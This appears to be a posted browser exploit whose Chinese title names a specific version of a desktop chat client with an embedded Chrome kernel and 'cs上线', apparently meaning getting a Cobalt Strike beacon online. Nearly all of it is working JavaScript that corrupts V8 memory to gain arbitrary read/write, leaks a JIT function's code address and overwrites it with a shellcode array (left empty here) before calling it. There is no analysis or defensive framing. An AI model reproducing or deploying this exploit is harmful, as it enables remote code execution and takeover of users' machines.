危信3.2.11.151版本chrome内核漏洞cs上线

<script src="test.js"></script>

ENABLE_LOG = true;IN_WORKER = true;var shellcode = [];function print(data) {}var not_optimised_out = 0;var target_function = (function (value) {    if (value == 0xdecaf0) {        not_optimised_out += 1;    }    not_optimised_out += 1;    not_optimised_out |= 0xff;    not_optimised_out *= 12;});for (var i = 0; i < 0x10000; ++i) {    target_function(i);}var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;function cb(flag) {    if (flag == true) {        return;    }    g_array = new Array(0);    g_array[0] = 0x1dbabe * 2;    return 'c01db33f';}function gc() {    for (var i = 0; i < 0x10000; ++i) {        new String();    }}function oobAccess() {    var this_ = this;    this.buffer = null;    this.buffer_view = null;    this.page_buffer = null;    this.page_view = null;    this.prevent_opt = [];    var kSlotOffset = 0x1f;    var kBackingStoreOffset = 0xf;    class LeakArrayBuffer extends ArrayBuffer {        constructor() {            super(0x1000);            this.slot = this;        }    }    this.page_buffer = new LeakArrayBuffer();    this.page_view = new DataView(this.page_buffer);    new RegExp({ toString: function () { return 'a' } });    cb(true);    class DerivedBase extends RegExp {        constructor() {            super(                {                    toString: cb                }, 'g'            );            this_.buffer = new ArrayBuffer(0x80);            g_array[8] = this_.page_buffer;        }    }    var derived_n = eval(`(function derived_n(i) {        if (i == 0) {            return DerivedBase;        }        class DerivedN extends derived_n(i-1) {            constructor() {                super();                return;                ${"this.a=0;".repeat(tDerivedNCount)}            }        }        return DerivedN;    })`);    gc();    new (derived_n(tDerivedNDepth))();    this.buffer_view = new DataView(this.buffer);    this.leakPtr = function (obj) {        this.page_buffer.slot = obj;        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);    }    this.setPtr = function (addr) {        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);    }    this.read32 = function (addr) {        this.setPtr(addr);        return this.page_view.getUint32(0, true, ...this.prevent_opt);    }    this.write32 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint32(0, value, true, ...this.prevent_opt);    }    this.write8 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint8(0, value, ...this.prevent_opt);    }    this.setBytes = function (addr, content) {        for (var i = 0; i < content.length; i++) {            this.write8(addr + i, content[i]);        }    }    return this;}function trigger() {    var oob = oobAccess();    var func_ptr = oob.leakPtr(target_function);    print('[*] target_function at 0x' + func_ptr.toString(16));    var kCodeInsOffset = 0x1b;    var code_addr = oob.read32(func_ptr + kCodeInsOffset);    print('[*] code_addr at 0x' + code_addr.toString(16));    oob.setBytes(code_addr, shellcode);    target_function(0);}try{    print("start running");    trigger();}catch(e){    print(e);}